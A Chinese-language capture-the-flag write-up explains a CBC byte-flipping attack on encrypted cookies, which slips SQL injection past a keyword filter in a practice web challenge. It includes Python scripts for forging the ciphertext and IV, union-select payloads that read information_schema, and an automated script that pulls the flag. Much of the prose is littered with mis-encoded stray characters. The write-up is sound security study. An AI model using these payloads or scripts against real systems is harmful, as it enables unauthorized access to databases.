以下內(nèi)容主要參考pcat的writeup,并加入個(gè)人的一點(diǎn)理解噪奄。
一死姚、題目概況
1人乓、題目
CTF實(shí)驗(yàn)吧的一道題目勤篮,比較有意思,記下來(lái)以供回顧色罚。URL:http://ctf5.shiyanbar.com/web/jiandan/index.php碰缔,進(jìn)入后顯示
無(wú)論輸什么id,均返回:Hello!
2戳护、入手
在進(jìn)入登錄界面時(shí)抓包金抡,看響應(yīng)中有提示:tips:test.php
則登錄http://ctf5.shiyanbar.com/web/jiandan/test.php,查看源代碼:
該代碼功能大致如下:
?????? 1腌且、如果id不為空梗肝,則根據(jù)接收到的id生成數(shù)組info[‘id’: id值]。將該數(shù)組進(jìn)行序列化之后铺董,以序列化結(jié)果和一個(gè)隨機(jī)數(shù)iv進(jìn)行cbc加密生成密文cipher巫击,加密算法為"aes-128-cbc"。最后在響應(yīng)中將cookie設(shè)為iv和cipher(這兩個(gè)值均先base64編碼,再URL編碼)坝锰。以上由test.php中的主代碼和login()函數(shù)完成粹懒。
?????? 2、如果id為空顷级,則根據(jù)報(bào)文頭cookie里的iv和cipher值進(jìn)行解密凫乖,并將解密結(jié)果反向序列化之后恢復(fù)出info,進(jìn)而得到id值$info['id']弓颈,并執(zhí)行以下查詢:
????????????? sql="select * from users limit ".$info['id'].",0";
??????? 以上由test.php中的主代碼和show_homepage()函數(shù)完成帽芽。
?????? 3、可以看到恨豁,由于limit第二個(gè)參數(shù)為0嚣镜,則無(wú)論id是什么均不會(huì)返回結(jié)果,但如果能利用id進(jìn)行注入橘蜜,則可以獲得我們想要的結(jié)果菊匿。
?????? 4、利用id注入的關(guān)鍵是繞過(guò)test代碼中的防火墻sqliCheck($str):
??????????????????? preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)
?????? 該代碼過(guò)濾了絕大多數(shù)特殊字符计福,如:-跌捆、#、=象颖、~ 佩厚、union、like说订、procedure抄瓦。因此要直接通過(guò)id注入較難。但是可以看到代碼中并沒(méi)有對(duì)解密后的id進(jìn)行過(guò)濾陶冷,因此我們可以利用cbc字節(jié)翻轉(zhuǎn)攻擊更改cipher钙姊,并進(jìn)而更改解密后id,從而繞過(guò)防火墻埂伦。
?二煞额、cbc字節(jié)翻轉(zhuǎn)攻擊的基本原理
1、cbc解密過(guò)程
?????? 如圖:
?????? 可以看到明文的生成是先對(duì)密文分組解密后沾谜,再異或上一組密文后得到膊毁。因此,如果我們能更改上一組密文基跑,則可以更改明文婚温。
?2、cbc攻擊原理
?????? 1)設(shè)明文原文為P_old媳否,要更改為P_new栅螟;上一組密文原文為C_old栈顷,要更改為C_new;嵌巷,密文解密后和上一組密文異或前的中間數(shù)據(jù)為M萄凤。
??????? 如果我們能將C_new設(shè)置為:
???????????????? C_new = C_old ⊕ P_old ⊕ P_new?? ---- 公式 1
???????? 由于
????????????????? P_old = M ⊕ C_old
?????? 則有
????????????????? M ⊕ C_new = M ⊕ C_old ⊕ P_old ⊕ P_new
??????????????????= P_old ⊕ P_old ⊕ P_new = P_new
?????? 則可以得到P_new
??????? 2)以第二組明文的更改為例,由于C_old(即cipher以128位(或16字節(jié))分組的第二組)搪哪、P_old(即數(shù)組info序列化后明文的第二組)靡努、P_new(要更改的明文)都已知,因此可以通過(guò)公式1得到C_new晓折,并執(zhí)行cbc字節(jié)翻轉(zhuǎn)攻擊惑朦。
??????? 3)由于第一組密文被更改,因此第一組明文也相應(yīng)改變漓概,此時(shí)反序列化會(huì)失敗漾月。因此還需要根據(jù)同樣原理將第一組明文改回來(lái),此時(shí)可以將iv進(jìn)行改變(類似C_old與C_new)胃珍,并進(jìn)而改變第一組明文梁肿。有:
??? ? ? ? ? ? iv_new = iv_old ⊕ P_old ⊕ P_new????? —— 公式2
此時(shí)iv_old為第一次生成的iv,P_old為序列化失敗后返回的明文的第一組(前16字節(jié))觅彰,P_new為需要改變的明文(即正確的序列化數(shù)據(jù)的第一組吩蔑,也就是第一次的info序列化后的前16字節(jié))。
??????? 4)一些注意事項(xiàng)
?? ? ? ? ? ? a)iv和cipher解密前都要先URL解碼填抬,再b64解碼烛芬,同樣加密前應(yīng)先b64編碼,再URL編碼飒责;
?? ? ? ? ? ? b)第一組密文要改變的字符位置要和第二組明文中相對(duì)應(yīng)赘娄,比如第二組明文中第四字節(jié)是2,要改成#宏蛉,則第一組密文中也要改第四字節(jié)(即C_old[3])遣臼,即公式1實(shí)現(xiàn)形式為
????????????????????? C_old[3] = C_old[3] ⊕‘2’⊕‘#’
????實(shí)際操作中,要寫(xiě)一個(gè)php腳本對(duì)真實(shí)數(shù)據(jù)序列化后來(lái)判斷偏移量檐晕。
三暑诸、攻擊實(shí)際步驟
?1蚌讼、首先驗(yàn)證cbc攻擊是否可行
??????? 構(gòu)造id=12辟灰。目標(biāo)是修改12為1#,這樣就能注釋掉sql查詢中的“,0”篡石。以id=12提交請(qǐng)求后記錄cipher和iv:
?2芥喇、計(jì)算偏移量
?????? 用以下的php腳本對(duì)數(shù)組序列化,并將結(jié)果按16字節(jié)長(zhǎng)度進(jìn)行分組后輸出:
<?php
$id = "12";
$info = array('id'=>$id);
$plain = serialize($info);
$row=ceil(strlen($plain)/16);
for($i=0;$i<$row;$i++){
??? echo substr($plain,$i*16,16).'';
}
?>
運(yùn)行后顯示:
a:1:{s:2:"id";s:
2:"12";}
可以看到凰萨,如果要將第二組明文中“12”的2改為#继控,則偏移量為4械馆,則應(yīng)對(duì)第一組密文同樣偏移量的字節(jié)進(jìn)行操作。
3武通、更改第一組密文
綜上霹崎,更改第一組密文的python腳本如下,注意該腳本為python2.7環(huán)境:
# -*- coding:utf8 -*-
from base64 import *
import urllib
cipher='fn060OBP%2FyLIGYrD9bi%2FlWWAS9RIWvEtALaV26kuB%2F8%3D'
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
idx=4
c1='2'
c2='#'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
print cipher_new
運(yùn)行腳本冶忱,得到cipher_new為:
????????????fn060PFP/yLIGYrD9bi/lWWAS9RIWvEtALaV26kuB/8%3D
4尾菇、更改iv
?????? 將cipher_new的值賦給cookie的cipher,iv值不變囚枪,重新發(fā)送請(qǐng)求派诬,此時(shí)由于第一組明文被改變,導(dǎo)致反序列化失敗链沼,響應(yīng)如圖:
?????? 我們需要把響應(yīng)中的內(nèi)容(即改變密文后解密出的明文)記錄下來(lái)默赂,取前16字節(jié)按公式2進(jìn)行操作以得到iv_new。腳本如下:
# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
iv='erUDGVSvM4Kab3ztg8vT8Q%3D%3D'
iv_raw=b64decode(urllib.unquote(iv))
first='a:1:{s:2:"id";s:'
plain=b64decode('eFoXA0j/x2Em/bhfgeLzXjI6IjEjIjt9')
iv_new=''
for i in range(16):
??? iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new
運(yùn)行括勺,得到iv_new為Y9UlIGcjztGGsK3WIBJTlQ%3D%3D
5缆八、執(zhí)行注入
????? 以iv_new替換原iv,和cipher_new一起重新提交疾捍,則可以看到已經(jīng)返回所需要的結(jié)果耀里,即rootzz(根據(jù)test.php中的查詢腳本,應(yīng)該是user表的username列的第一行值)拾氓。此時(shí)已經(jīng)將12替換成1#冯挎,完成注入。
6咙鞍、進(jìn)一步注入
?????? 1)查詢顯位
??????? 但這個(gè)并不是flag房官,還需進(jìn)一步注入。構(gòu)造id為:
??????? 0 2nion select * from((select 1)a join (select 2)b join (select 3)c);%00
??????? 重復(fù)上面的步驟(注意改密文腳本中的idx续滋、c1翰守、c2此時(shí)分別為6、‘2’疲酌、‘u’)蜡峰,目標(biāo)是將2union改為union。
? ? ?? 該payload的第一個(gè)0用于和sql語(yǔ)句“sql="select * from users limit ".$info['id'].",0";” 中的limit組合朗恳,使得查詢前面部分返回結(jié)果集的數(shù)目為0湿颅,也即屏蔽掉“select * from users”部分。
?????? union查詢用于查詢顯位(根據(jù)union查詢?cè)碇嘟耄瑄nion查詢select數(shù)必須與原查詢表中字段數(shù)一致油航,此處已經(jīng)暴力破解users表最大字段數(shù)為3。顯位是指網(wǎng)頁(yè)中哪些字段會(huì)被顯示)怀浆。
???????? 由于逗號(hào)會(huì)被過(guò)濾谊囚,此處用join替代怕享,同時(shí)寫(xiě)法也相應(yīng)改變。最后的“;%00”用于注釋掉原sql中最后的“镰踏,0”函筋。
???????? 最后響應(yīng)結(jié)果為Hello!2,因此顯位為2奠伪。
???? 2)查詢表名
?????? 再次構(gòu)造id:
?0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);%00
?????? 重復(fù)上面步驟(注意由于payload長(zhǎng)度改變驻呐,導(dǎo)致序列化后的長(zhǎng)度改變,因此改密文腳本中的偏移量idx要改為7)芳来。該payload是mysql環(huán)境下查詢表名的注入語(yǔ)句含末,其中的=用regexp替代。
?????? 得到響應(yīng)結(jié)果為:Hello!users,you_want即舌,即當(dāng)前數(shù)據(jù)庫(kù)有兩個(gè)表為users和you_want佣盒,猜測(cè)flag在you_want表中。
????? 3)查詢字段名
??? 再次構(gòu)造id:
0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);%00
????? 用于查詢you_want表中的column名稱顽聂,此時(shí)偏移量依然為7肥惭。?
????? 返回Hello!users,value,可知只有一個(gè)字段value紊搪。
?????? 4) 查詢數(shù)據(jù)
?????? 最后構(gòu)造id:
0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);%00
?????? 此時(shí)偏移量為6蜜葱。 重復(fù)上面步驟,返回
??????????? Hello!flag{c42b2b758a5a36228156d9d671c37f19}耀石。
????? 注入成功牵囤,獲得flag。
四滞伟、自動(dòng)攻擊腳本
????? 以上步驟的批量執(zhí)行腳本如下揭鳞。為適合自動(dòng)化運(yùn)行,此時(shí)的%00用chr(0)替代梆奈。
# -*- coding:utf8 -*-
# 請(qǐng)保留我的個(gè)人信息野崇,謝謝~!
__author__='pcat@chamd5.org'
from base64 import *
import urllib
import requests
import re
def mydecode(value):
??? return b64decode(urllib.unquote(value))
def myencode(value):
??? return urllib.quote(b64encode(value))
def mycbc(value,idx,c1,c2):
??? lst=list(value)
??? lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
??? return ''.join(lst)
def pcat(payload,idx,c1,c2):
? ??url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
??? myd={'id':payload}
??? res=requests.post(url,data=myd)
??? cookies=res.headers['Set-Cookie']
??? iv=re.findall(r'iv=(.*?),',cookies)[0]
??? cipher=re.findall(r'cipher=(.*)',cookies)[0]
??? iv_raw=mydecode(iv)
??? cipher_raw=mydecode(cipher)
??? cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2))
??? cookies_new={'iv':iv,'cipher':cipher_new}
??? cont=requests.get(url,cookies=cookies_new).content
??? plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0])
??? first='a:1:{s:2:"id";s:'
??? iv_new=''
??? for i in range(16):
??????? iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
??? iv_new=myencode(iv_new)
??? cookies_new={'iv':iv_new,'cipher':cipher_new}
??? cont=requests.get(url,cookies=cookies_new).content
??? print 'Payload:%s\n>> ' %(payload)
??? print cont
??? pass
def foo():
??? pcat('12',4,'2','#')
??? pcat('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
??? pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
??? pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
??? pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);"+chr(0),6,'2','u')
??? pass
if __name__ == '__main__':
??? foo()
??? print 'ok'